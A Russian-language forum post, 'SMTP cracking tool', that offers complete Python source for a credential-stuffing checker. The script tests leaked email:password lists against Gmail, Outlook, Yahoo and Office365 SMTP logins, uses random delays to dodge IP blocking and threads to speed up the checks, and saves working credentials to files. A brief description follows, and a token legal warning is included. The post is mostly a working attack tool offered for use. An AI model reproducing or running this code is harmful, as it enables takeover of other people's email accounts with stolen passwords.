Инструмент для взлома SMTP

Coder_CC

Member
Messages
24
Reaction score
9
Points
3
Этот код является инструментом для проверки действительности учетных записей электронной почты через SMTP-серверы. Он пытается авторизоваться на почтовых серверах, используя предоставленные пары email:password, и сохраняет успешные попытки в файлах.

Код:
<span>import</span> os<br><span>import</span> smtplib<br><span>import</span> concurrent.futures<br><span>import</span> sys<br><span>import</span> time<br><span>import</span> random<br><span>from</span> tkinter <span>import</span> Tk<br><span>from</span> tkinter.filedialog <span>import</span> askopenfilename<br><span>from</span> colorama <span>import</span> Fore, Style, init<br><span>import</span> threading<br><span>from</span> datetime <span>import</span> datetime<br><span>import</span> logging<br><br><span># Configuring error logging</span><br>logging.basicConfig(filename=<span>'smtp_checker_errors.log'</span>, level=logging.ERROR,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;format=<span>'%(asctime)s - %(levelname)s - %(message)s'</span>)<br><br><span># Initializing Colorama</span><br>init(autoreset=<span>True</span>)<br><br>BANNER = <span>"""</span><br><span>============================</span><br><span>SMTP Cracker Tool</span><br><span>============================</span><br><span>"""</span><br><br>SMTP_SERVERS = {<br>&nbsp;&nbsp;&nbsp;&nbsp;<span>"gmail"</span>: {<span>"server"</span>: <span>"smtp.gmail.com"</span>, <span>"port"</span>: <span>587</span>},<br>&nbsp;&nbsp;&nbsp;&nbsp;<span>"outlook"</span>: {<span>"server"</span>: <span>"smtp-mail.outlook.com"</span>, <span>"port"</span>: <span>587</span>},<br>&nbsp;&nbsp;&nbsp;&nbsp;<span>"yahoo"</span>: {<span>"server"</span>: <span>"smtp.mail.yahoo.com"</span>, <span>"port"</span>: <span>587</span>},<br>&nbsp;&nbsp;&nbsp;&nbsp;<span># Delays for each service</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span>"office365"</span>: {<span>"server"</span>: <span>"smtp.office365.com"</span>, <span>"port"</span>: <span>587</span>, <span>"delay"</span>: <span>5</span>}<br>}<br><br><span># Global variables with protection</span><br>VALIDS = <span>0</span><br>INVALIDS = <span>0</span><br>TOTAL_LINES = <span>0</span><br>PROCESSED_LINES = <span>0</span><br>LOCK = threading.Lock()<br>MAX_THREADS = <span>10</span>&nbsp;&nbsp;<span># Small number of threads</span><br><br><span><span>def</span> <span>check_smtp_connection</span><span>(email: str, password: str, smtp_server: str, port: int)</span> -&gt; bool:</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span>try</span>:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span># Incidental delay to avoid blocking</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;time.sleep(random.uniform(<span>1</span>, <span>3</span>))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>with</span> smtplib.SMTP(smtp_server, port, timeout=<span>10</span>) <span>as</span> server:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;server.starttls()<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;server.login(email, password)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>return</span> <span>True</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span>except</span> Exception <span>as</span> e:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;logging.error(<span>f"Error checking <span>{email}</span> on <span>{smtp_server}</span>: <span>{str(e)}</span>"</span>)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>return</span> <span>False</span><br><br><span><span>def</span> <span>process_email</span><span>(email_pass: str, folder_path: str)</span>:</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span>global</span> VALIDS, INVALIDS, PROCESSED_LINES<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;<span>try</span>:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span># Format validation</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>if</span> email_pass.count(<span>":"</span>) != <span>1</span>:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;logging.warning(<span>f"Invalid string format: <span>{email_pass}</span>"</span>)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>return</span><br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;email, password = email_pass.strip().split(<span>":"</span>)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;domain = email.split(<span>"@"</span>)[<span>-1</span>].lower()<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span># Checking only known servers</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>for</span> server_name, server_info <span>in</span> SMTP_SERVERS.items():<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>if</span> server_name <span>in</span> domain <span>or</span> domain.endswith(server_name + <span>".com"</span>):<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>if</span> check_smtp_connection(email, password, server_info[<span>"server"</span>], server_info[<span>"port"</span>]):<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>with</span> LOCK:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;VALIDS += <span>1</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;save_valid_account(folder_path, server_name, email, password,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; server_info[<span>"server"</span>], server_info[<span>"port"</span>])<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(Fore.GREEN + <span>f"[VALID] <span>{email}</span>:<span>{password}</span> (<span>{server_name}</span>)"</span>)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>break</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>else</span>:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>with</span> LOCK:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;INVALIDS += <span>1</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(Fore.RED + <span>f"[INVALID] <span>{email}</span>:<span>{password}</span>"</span>)<br><br>&nbsp;&nbsp;&nbsp;&nbsp;<span>except</span> Exception <span>as</span> e:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;logging.error(<span>f"Critical processing error <span>{email_pass}</span>: <span>{str(e)}</span>"</span>)<br>&nbsp;&nbsp;&nbsp;&nbsp;<span>finally</span>:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>with</span> LOCK:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PROCESSED_LINES += <span>1</span><br><br><span><span>def</span> <span>save_valid_account</span><span>(folder_path: str, service: str, email: str,</span></span><br><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;password: str, server: str, port: int)</span>:</span><br>&nbsp;&nbsp;&nbsp;&nbsp;filename = <span>f"valid_<span>{service}</span>_accounts.txt"</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span>with</span> open(os.path.join(folder_path, filename), <span>"a"</span>) <span>as</span> f:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;f.write(<span>f"<span>{email}</span>:<span>{password}</span>|<span>{server}</span>:<span>{port}</span>\n"</span>)<br><br><span><span>def</span> <span>main</span><span>()</span>:</span><br>&nbsp;&nbsp;&nbsp;&nbsp;print(Fore.CYAN + BANNER + Style.RESET_ALL)<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;<span># Selecting a data file</span><br>&nbsp;&nbsp;&nbsp;&nbsp;Tk().withdraw()<br>&nbsp;&nbsp;&nbsp;&nbsp;file_path = askopenfilename(title=<span>"Select the file with email:password"</span>,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;filetypes=[(<span>"Text files"</span>, <span>"*.txt"</span>)])<br>&nbsp;&nbsp;&nbsp;&nbsp;<span>if</span> <span>not</span> file_path:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(Fore.RED + <span>"The file is not selected. Exit."</span> + Style.RESET_ALL)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>return</span><br><br>&nbsp;&nbsp;&nbsp;&nbsp;<span># Reading a file with error handling</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span>try</span>:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>with</span> open(file_path, <span>"r"</span>, encoding=<span>'utf-8'</span>, errors=<span>'ignore'</span>) <span>as</span> f:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;email_pass_list = [line.strip() <span>for</span> line <span>in</span> f <span>if</span> line.strip()]<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TOTAL_LINES = len(email_pass_list)<br>&nbsp;&nbsp;&nbsp;&nbsp;<span>except</span> Exception <span>as</span> e:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(Fore.RED + <span>f"File read error: <span>{e}</span>"</span> + Style.RESET_ALL)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>return</span><br><br>&nbsp;&nbsp;&nbsp;&nbsp;<span># Creating a folder for results</span><br>&nbsp;&nbsp;&nbsp;&nbsp;timestamp = datetime.now().strftime(<span>"%Y%m%d_%H%M"</span>)<br>&nbsp;&nbsp;&nbsp;&nbsp;result_folder = <span>f"smtp_results_<span>{timestamp}</span>"</span><br>&nbsp;&nbsp;&nbsp;&nbsp;os.makedirs(result_folder, exist_ok=<span>True</span>)<br><br>&nbsp;&nbsp;&nbsp;&nbsp;<span># Limited multithreaded processing</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span>with</span> concurrent.futures.ThreadPoolExecutor(max_workers=MAX_THREADS) <span>as</span> executor:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;futures = [executor.submit(process_email, email_pass, result_folder)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>for</span> email_pass <span>in</span> email_pass_list]<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span># Progress Bar</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>while</span> <span>not</span> all(f.done() <span>for</span> f <span>in</span> futures):<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;time.sleep(<span>0.5</span>)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span>with</span> LOCK:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(<span>f"\rОбработано: <span>{PROCESSED_LINES}</span>/<span>{TOTAL_LINES}</span>"</span>, end=<span>""</span>)<br><br>&nbsp;&nbsp;&nbsp;&nbsp;print(Fore.CYAN + <span>f"\n\nDone! Valid: <span>{VALIDS}</span>, Invalid: <span>{INVALIDS}</span>"</span> + Style.RESET_ALL)<br>&nbsp;&nbsp;&nbsp;&nbsp;print(Fore.YELLOW + <span>"Warning: Use of this tool may violate laws."</span> + Style.RESET_ALL)<br><br><span>if</span> __name__ == <span>"__main__"</span>:<br>&nbsp;&nbsp;&nbsp;&nbsp;main()

Основные функции кода:

Проверка учетных данных:
  • Читает файл с комбинациями адрес электронной почты:пароль.
  • Пытается подключиться к SMTP-серверам (Gmail, Outlook, Yahoo, Office365) и пройти аутентификацию.
  • Определяет, действительны ли учетные данные.

Многопоточная обработка:
  • Использует ThreadPoolExecutor для параллельной проверки учетных данных (ограничено 10 потоками).
  • Добавляет случайные задержки между запросами, чтобы избежать блокировки IP.

Регистрация и сохранение результатов:
  • Сохраняет действительные учетные данные в файлах типа valid_<service>_accounts.txt.
  • Регистрирует ошибки в файле smtp_checker_errors.log.
  • Выводит статистику: количество действительных и недействительных записей.

Интерфейс:
  • Использует графическое окно (через tkinter) для выбора файла данных.
  • Выводит цветные сообщения на консоль (через colorama).

Возможные применения:
  • Проверка утечек данных (например, списков адресов электронной почты и паролей из общедоступных баз данных).
  • Проверка безопасности собственных аккаунтов.
  • Автоматизируйте проверку учетных записей электронной почты.
 
Top